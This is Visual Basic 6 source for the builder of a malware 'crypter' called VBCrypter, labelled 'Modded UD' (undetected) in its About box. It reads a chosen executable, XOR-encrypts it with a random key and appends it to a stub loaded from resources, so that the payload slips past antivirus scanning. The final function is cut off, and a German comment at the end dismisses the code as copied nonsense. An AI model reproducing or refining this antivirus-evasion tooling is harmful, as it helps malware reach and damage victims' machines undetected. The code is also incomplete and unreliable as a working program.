[VB6] Runtime Script

Option Explicit

Private Declare Sub InitCommonControls Lib "comctl32" ()

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private Sub Form_Initialize()
If App.PrevInstance Then End
Call InitCommonControls
End Sub

Private Sub cmdBrowse_Click()
Dim i As Integer
Dim iFileNum As Integer
Dim Buffer() As Byte
dlgMain.Filter = "Executable Files (*.exe)|*.exe"
dlgMain.ShowOpen
If dlgMain.FileName <> vbNullString Then
iFileNum = FreeFile
Open dlgMain.FileName For Binary As #iFileNum
ReDim Buffer(LOF(iFileNum) - 1)
Get #iFileNum, , Buffer
Close #iFileNum
Call CopyMemory(IDH, Buffer(0), Len(IDH))
If IDH.e_magic <> IMAGE_DOS_SIGNATURE Then
MsgBox "MZ signature not found!", vbCritical
Exit Sub
End If
Call CopyMemory(INH, Buffer(IDH.e_lfanew), Len(INH))
If INH.Signature <> IMAGE_NT_SIGNATURE Then
MsgBox "PE signature not found!", vbCritical
Exit Sub
End If
txtFile.Text = dlgMain.FileName
cmdBuild.Enabled = True
End If
dlgMain.FileName = vbNullString
End Sub

Private Sub cmdBuild_Click()
Dim iFileNum As Integer
Dim Buffer() As Byte
Dim sBuffer As String
Dim sKey As String
If Dir(txtFile.Text) = vbNullString Then Exit Sub
dlgMain.Filter = "Executable Files (*.exe)|*.exe"
dlgMain.ShowSave
If dlgMain.FileName <> vbNullString Then
iFileNum = FreeFile
Open txtFile.Text For Binary As #iFileNum
sBuffer = Space(LOF(iFileNum))
Get #iFileNum, , sBuffer
Close #iFileNum
If Dir(dlgMain.FileName) <> vbNullString Then
Kill dlgMain.FileName
End If
iFileNum = FreeFile
Open dlgMain.FileName For Binary As #iFileNum
Buffer = LoadResData(101, "CUSTOM")
Put #iFileNum, , Buffer
Seek #iFileNum, LOF(iFileNum) + 1
Randomize
Do While Len(sKey) <> 10
sKey = sKey & Chr(Int(Rnd * 9) + 1)
Loop
Put #iFileNum, , "/#/+\#\" & XOREncryption(sBuffer, sKey) & "/#/+\#\" & sKey & "/#/+\#\"
Close #iFileNum
End If
End Sub

Private Sub cmdAbout_Click()
MsgBox "VBCrypter v1.4 Build Date: July 25, 2007. All rights reserved." & vbCrLf & vbCrLf & " Modded UD by steve10120 For Dark Devolopments"

End Sub

Private Sub cmdExit_Click()
End
End Sub

Private Function XOREncryption(ByVal sStr As String, ByVal sKey As String) As String
Dim i As Long
For i = 1 To Len(sStr)
XOREncryption = XOREncryption & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey), Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
Next i

Aus nem Builder eines Malware Crypters kopiert und völliger Schwachsinn.